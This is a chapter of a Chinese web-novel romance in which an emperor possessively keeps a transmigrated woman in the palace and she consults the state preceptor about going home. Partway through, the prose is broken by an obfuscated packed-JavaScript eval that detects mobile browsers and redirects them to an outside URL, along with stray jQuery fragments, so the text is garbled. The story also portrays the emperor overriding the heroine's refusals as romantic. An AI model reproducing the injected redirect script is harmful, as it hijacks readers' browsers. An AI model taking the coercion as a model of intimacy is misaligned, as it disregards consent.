47. 第四十七章

作品:《替嫁残疾男主后她死遁了

    穆荧尴尬地笑了笑,碎步走到祁景渊面前,“夫君怎么这时来了,不是该在勤政殿处理公务么。”


    祁景渊牵过她的手温柔道:“我知阿荧还未用晚膳,特意回来陪阿荧。”


    不一会儿,殿外的宫女鱼贯而入,一人端上一道菜肴,很快桌上就放满了各种菜式,传完菜剩下两个宫女在一边布菜。


    祁景渊为她夹菜,言语中尽是宠溺:“阿荧,尝尝这个,我命御厨房特意为你做的,你最爱的小香葱抄蘑菇。”


    “好吃,有几分记忆的味道。”穆荧敞开了吃,宫里的条件就是比外面好,饭食的味道都提上来好几个层次。


    早就听闻陛下从永州带回一名女子,军队还未进京,宫里就将此事传疯了。


    陛下自发妻去世后,一直未曾另娶,期间双腿恢复,又成了当年那个,引无数少女心动的俊美男子。


    哪怕无数狂蜂浪蝶奔涌而上,陛下也依旧不曾接受过任何人。而如今只是去了趟边关,就带回一名女子,听说还曾锁在身边寸步不离。


    一旁的宫女忍不住,偷偷看上穆荧一眼,她们都想知道,究竟是何等国色天香之人,才能得陛下青睐。


    晃眼之余,听到陛下在此女面前,竟然都不称呼自己为“朕”,更是惊得布菜的宫女差点手抖,还好克制住了。


    穆荧虽一心在饭菜上,倒也有注意这些宫女的目光,她被祁景渊带回来一事京城里都传遍了,她也听了些许。


    那些传言有的极其夸张,说她是什么仙女下凡落到永州将帝王迷倒;也有的说她是路边妖媚,见帝王路过惑君心;唯一正常的版本是农女身受重伤躺路边,帝王善良救她,却被她的模样深深吸引。


    总之逃不过一个色字,这编故事的人也就会挑些,市井爱听的热门题材编了。


    饭饱过后,穆荧开始打盹儿,在这古代也没什么消遣的玩意,一向爱熬夜的她都硬是戒了熬夜。


    在营地是小号的牢笼,这皇宫里就像新的大号牢笼,没有野外的山水更是无聊。


    穆荧带着困意行至床前,却发现祁景渊似乎没有要走的意思,反而朝她面前走来。


    她壮胆开口:“夫君怎么还不离开?现在锁链也解了,咱们可以各自安睡了不是。”


    祁景渊眼眸微眯,没想到她会赶他走,凑到她面前,呼吸洒在她的脸颊,声音低沉:“阿荧竟想赶我走?我们可是夫妻,自然要睡在一起。”


    “这不好吧,”穆荧身子后仰,手抓了抓脸解痒:“你将我接进宫,外人却不知我们的关系,外面传言已是乱七八糟,今日夫君还是去紫宸殿歇息为好。”


    “何须理会流言,明日我便封你为后,我看谁人再敢传一句试试。”祁景渊坐到她身边,目光如炬。


    穆荧拗不过他,寻思今天也该同之前一般,盖被子睡一晚。她直接躺上去,拖过被子闭眼睡。


    “那…那就快睡吧。”


    祁景渊可不这般想,俯身而上大手在她脸颊摩挲:“阿荧,我与你成婚三载都未曾真正在一起一天,再算上这三年,已是六年之久。”


    “嗯?!”穆荧警觉地睁眼,面对上方的身影,突然后背一凉,他该不会想圆房吧?


    坏了,那种事实在不好意思,她前世虽然爱看点小岛故事,但真让上手还真不敢。


    要不,糊弄一下?


    她立即转移话题:”真是非常遗憾,但是现在这么晚了我都困了,咱们该睡觉了。”


    “是呢,是该睡觉了。”祁景渊抑制住眼中的汹涌,拾起她的脸蛋,唇落于她的额头,眼睛,鼻尖,最后终于禁不住诱惑,吻上那甜蜜的柔软。


    穆荧被他吓到了,看着那张不断贴近的脸,身子不知觉变得柔软,闻到他身上淡淡的龙涎香,感受到他炙热的呼吸。


    不行!


    穆荧大脑将最后一丝理智拉回来,抬手推开男人的身子,将自己裹进被子里,包装成一个大粽子。


    她的眼中拉满警惕,手死死抓着被子:“不许再靠近我,你睡外面,我睡里面。”


    祁景渊再无法抑制眸中阴沉,缓缓向她靠近,整个人带着强势的压迫气息,逼迫穆荧连连后退。


    他沉静的眉宇间渐渐染上几分戾气,脸上再不见半点温润,沙哑着嗓音:“阿荧还是不想和我在一起么,是想离开我,去外面寻旁人么!”


    穆荧心道不好,又给他惹到了,这回难道真的要奉献她的清白吗,虽然她夫君长得俊还有八块腹肌,她也不吃亏,但她不敢啊。


    她是有色心没色胆的那类人,这事儿对她来说还是太高难度了一点。


    她眼珠一转紧急出言道:“当然没有了,你长这么好看,又有钱又有权,我怎么可能还看得上旁人呢。


    只是吧,这事儿得慢慢来,咱俩满打满算,实际见面在一起的日子半年都没有,突然一下就快进了,是不是有点仓促。”


    “阿荧觉得仓促?可阿荧的脸怎么这般通红呢~”


    祁景渊步步逼近,抓上她的被子,一把就撕作了布条,“如今我是皇帝,阿荧想要什么有什么,一切都可以慢慢培养。”


    穆荧已经退无可退,眼见着他眸中泛起危险的光,腰间一个力道迫使她靠近对方,她只觉得自己整张脸都要熟透了!


    “可……唔”穆荧的话未说出口,便被男人吞入腹中。


    夜色静谧,天空犹如黑色深渊吞噬着一切,今夜无星星闪烁,唯有月光冲破这遮天之幕,散发着磅礴的力量。


    一夜无眠


    竖日穆荧浑身酸痛地起身,忍不住小声曲曲:“这男人是狗么,咬我这么多下。”


    宫女们端着洗漱用品,从门外涌入,由柳叶伺候着她梳头洗脸,瞧她脖子上的痕迹,忍不住说:


    “娘娘与陛下感情真好,哪怕过去这么多年,陛下依旧只念着您。”


    穆荧听了害羞地捂脸,都怪祁景渊非要咬这么明显的位置,好想找个地洞钻一下啊。


    经此一夜,宫里人都好奇,皇帝究竟会给穆荧什么样的位分。


    凤仪宫里的小宫女们,就趁着没事围坐在一块儿讨论起来。


    “你们说咱们娘娘,能获封什么位分?”


    “当然是皇后了,这里可是凤仪宫,历来都是皇后的居所。”


    “哪有,旧暴君的皇后住的就是凤鸾宫,这凤仪宫一直空着呢。”


    另一个宫女机灵道:“多半是个妃位吧,前朝有那么多大臣,都想送自家女儿入宫,皇后肯定得是前朝有权势官员的女儿。”


    此时柳叶恰巧路过,那宫女立即拉过柳叶道:“柳叶姐姐,你说咱们娘娘会是什么位分。”


    柳叶瞧她们竟然敢对主子的事情多嘴,立即生气道:“在这里说什么,不怕挨板子么,陛下最忌讳宫人多嘴,不想死的把嘴巴闭上。”


    宫女们自讨没趣,悻悻地散了。


    *


    朝堂上


    礼部尚书率先进谏:“陛下,如今金国平定,百姓安康。为了朝局稳定,应当广纳妃嫔,充盈后宫。”


    祁景渊撵着茶杯,冷冷道:“朕只娶一人足以,纳妃之事休要再提!”


    此话一出,大臣们吃惊地看过去,忙呼喊:“陛下不可啊,纳妃乃是老祖宗的规定,充盈后宫方能早日诞下皇嗣,为国培养下一代。”


    祁景渊怒而摔盏,“朕还没死,尔等就想另养新君了!”


    “臣绝无此意啊!”


    祁景渊起身冷眼道:“朕不会纳后宫,朕会封阿荧为皇后,一个月后举行封后大典。”


    见皇帝铁了心不肯纳妃,朝臣皆是叹息摇头。


    也不知皇帝带回那名女子,究竟是何等人物,竟然能让皇帝为她放弃后宫。


    *


    凤仪宫院子里,穆荧正在喂兔子,宫中实在无事可做,只有喂一喂小动物解闷儿。


    拿着菜叶子,她又想念宫外热闹的景象,要是能随时出宫玩那该多好,可惜先在的祁景渊恐怕不会让她出去的。


    此时不远处的宫女匆匆过来:“娘娘,国师邀您观星台一叙。”


    穆荧疑惑萧衍怎么会忽然想见她?不过她正好无聊,能去见一面,聊聊天也是好的。


    于是她兴奋地答应下来::“我这就去,顺便带上些点心。”她要和国师畅谈一番。


    她还从未去过观星台,这是国师和钦天监日常工作的地方,她去也正好参观一下。


    观星台顾名思义,是一座观星象的石台,比穆荧想象中要大上许多,整个院子起码有半个足球场大,中央的台子就占了一大半。


    萧衍就站在观星台中央等着她,见她来立即示意下属端来一把座椅,待她坐下才开口:“见过娘娘。”


    “国师不必拘礼。”穆荧忙去扶,距离她们上次见面已有三年,双方都生疏了许多。


    屏退了左右,萧衍方才展露担忧之色:“你与陛下是何情况,他可有逼迫于你?”


    “未曾,我与他算是两情相悦。”只是最近有点矛盾,后面的话穆荧没有说,说出来也是让别人白白担心。


    “那便好。”萧衍放心地点头,坐到位置上。


    穆荧趁机问道:“你今日邀我出来所谓何事,我知你不是无事闲聊的人。”


    说到这里萧衍的脸色严肃起来:“你曾经让我帮你上户,我私下派人去查你的身份,可是一无所获,自那时我便产生了怀疑。”


    穆荧脸上闪过一丝惊慌,这些都被萧衍猜到了,她是越发好奇萧衍接下来想说的东西了。


    她的惊慌自然也被萧衍捕捉,平静地继续说:“没有人会是凭空出现的,我从侯府小姐捡到你那日去调查,查那天周围发生的一切,可都没有一丝与你相关的线索。”


    “最后实在出于好奇,我为你算了一卦,算你的身世来历,卦象上却现实你并非这个世界之人。”


    萧衍的话直戳真相,穆荧心中除去震惊,更多的是希望。


    她好不扭捏地承认:“我的确不是这个世界的人,国师的卦果真准确。”


    说着又摆出失落的表情:“国师不是说好了,给我那一卦留着,怎么自己就先算了,这样可不能算是我那一卦。”


    萧衍笑容略僵,摆弄起自己的衣角,抱歉地开口:“这件事的确是我做得不妥,你放心,你那一卦仍就作数。”


    这下穆荧高兴了,她之前还以为算卦这事儿,就是骗人的小把势,没想到国师竟然是真材实料的,连她来自别的世界都能算出,那也一定能知道她如何能回家吧。


    想到这里,穆荧眼中充满了希望道:“国师,我现在就想算我那一卦。”


    “不知你想算什么?”


    “我想算,我如何才能回到自己的世界?”


    “你想离开?”


    “我……”她此刻也不清楚自己的答案,若放从前她一定会说“是”,可现在一想到祁景渊用尽手段,想她留下的样子,又有些犹豫。


    这古代实在落后,连最基本的电灯都没有,夜晚总是照蜡烛,还不怎么明亮,更别提手机、电脑和网络了。


    可她心爱的人在这里,如果她又一次离开了,祁景渊一定会疯掉的吧,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807623|171015||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经离开过他那么多回了。


    思索半天,她也难以回答上这个问题。


    “看来你很犹豫。”萧衍一语道破:“没关系,我会帮你算这一卦,等你想好了你心底的想法,我才能将算到的告诉你。”


    “多谢国师。”


    “没关系。”萧衍远远地就注意到来寻人的帝王,于是故意大声说:“要是你哪天想离开了,随时来找我。”


    听到“离开”二字,祁景渊飞奔过来,紧握穆荧的手腕,一副受伤的语气:“你要离开?!”


    “我没有,你听错了。”穆荧手腕被他握得生疼,赶忙挣脱出来,怒瞪他一眼。


    祁景渊转而怒视萧衍,严厉的语气道:“萧衍,朕警告你,别想带朕的皇后离开!”


    说罢横抱起穆荧,阔步离开了观星台。


    萧衍远远望着,手指捻动,在原地摆了几道阵法,不一会儿冒出一阵金光,卦象显现。


    胸口忽而受到一股力量打击,一口鲜血喷洒而出,将卦象的字尽数淋遍。


    萧衍擦去嘴角血滴,喃喃自语:“果真的天道不允许之事么,这次反噬这么严重呢。”


    *


    穆荧被一路抱回凤仪宫,沿途的宫女太监都投去好奇的目光,整个宫中都瞧见了,新帝有多宠爱她这个,从外面带回来的妃子。


    一到凤仪宫寝殿,祁景渊屏退了所有人,将穆荧狠狠压下,屋内气氛骤降,冰凉的目光像是要刺穿她。


    “你今日为何去见国师,难道你还想离开我!”祁景渊伸手抚上她的脸庞,拇指的指腹压在她的唇瓣上,仿佛只要她说“是”,就会立即将她捏碎一般。


    穆荧一点儿也动弹不了,现在的祁景渊处于发疯状态,她又得顺毛。


    努力平静内心,用温柔的语气回应:“我从未想过离开,只是此前国师欠我一卦,我找他去算一卦罢了。”


    “你找他算的什么?”祁景渊将信将疑,他已经被穆荧哄过几回了,小骗子嘴里的话都得掂量着相信。


    “我让他帮我算算,我的家人。”穆荧很想用手碰一碰鼻子,奈何双手被按住只能别过脸,继续编道:“我自从当年被小姐捡回去,就失去了曾经的记忆,不知道我的家人是何情况,所以找国师算一卦,这还未算上呢,你就来了。”


    “那他怎说你想离开了就去找他这种话?”


    这个萧衍,这句话绝对是故意的,现在她该怎么解释?


    思来想去穆荧只能说:“那是说的我要是想去宫外寻我的家人,就找他的意思,他说得有歧义而已。”


    “最好是这样。”祁景渊放下狠话,又马上变得温顺,搂住穆荧的腰沙哑道:“阿荧,你今后永远都不要离开我好不好?”


    穆荧顿了片刻,终究是无法给他确切的答案,不动声色地转移话题:“夫君,我饿了。”


    “我也饿了~”


    嗯?


    穆荧感觉到身上抵着的,顿时羞红了脸,三分力道锤上男人的肩膀:“我跟你说正经的呢,你这人怎么……”


    祁景渊与她耳鼻厮磨:“你我新婚燕尔,叫我如何把持得住?”


    穆荧急了,水润的眼睛生出几分无措:“现在是白天!”


    “白日正好,大好风光尽收眼底~”


    “臭……唔!”


    芙蓉帐暖,鸳鸯戏水。


    两个时辰后,穆荧揉了揉受伤的腰子,愤愤地盯住祁景渊的下巴,这男人一旦开了荤,就像不知足的小狗,永远还期待下一块儿香肠。


    祁景渊搂着她,主动为她揉腰,知道方才欺负狠了,一边哄着媳妇儿一边做事。


    又腻在一起许久,二人才收拾起来用膳。


    加菜时穆荧才忽然想起一个问题,这古代生孩子就跟走鬼门关一般,这里可没有什么先进的医疗条件麻醉剖腹产,她这两回都没有做任何措施呢!


    想到这儿,手里的饭都不香了,放下筷子对祁景渊说:“让太医院熬一碗避子汤给我吧。”


    祁景渊夹菜的动作顿时停住,半响才颤声问道:“你就这么不想怀上我的孩子?”


    “想什么呢!”穆荧就知道他脑子里竟会想歪,忙又解释:“我是不想这么快就有孩子,你想,我在乡下吃苦受累了三年,身子骨差得路都跑不动。”


    说着她揉了揉肚子:“现在有个孩子,怀上也是营养不良,生产的时候怕是要一尸两命了。”


    祁景渊顿觉有道理,比起一个小孩,他更在乎穆荧的身体,为了吃醋竟是连这个也没有顾及到。


    “快,去太医院取碗避子汤来。”


    宫女听了迅速跑去太医院,等到完膳用完,避子汤刚好熬成送了回来。


    这药是中药,黑漆漆的闻着就苦。


    穆荧放了几个蜜饯在旁边,又倒上一碗水,捏着鼻子就是喝,一碗下肚满嘴苦涩,简直想呕吐出来。


    祁景渊在一旁忙往她嘴里塞上一颗蜜饯,蜜饯的甜很快充斥整个口腔,将苦味儿抑制下去。


    穆荧盯着碗底的残留,想到每次与祁景渊同房都得喝这个,嘴里好像立马又充满了苦味儿。


    这简直就是新的阴影!


    她晃了晃脑子里的想法,郑重地对祁景渊开口:“今后一个月最多只能同房一次!这苦药我不想喝了。”


    祁景渊听到这个结果,满是委屈:“阿荧,不能通融一下吗?”


    “不行!”


    穆荧才不理会他装可怜的样子,直接回床上,拿起话本子看。


    祁景渊盯着桌上的药,心底产生了新的想法。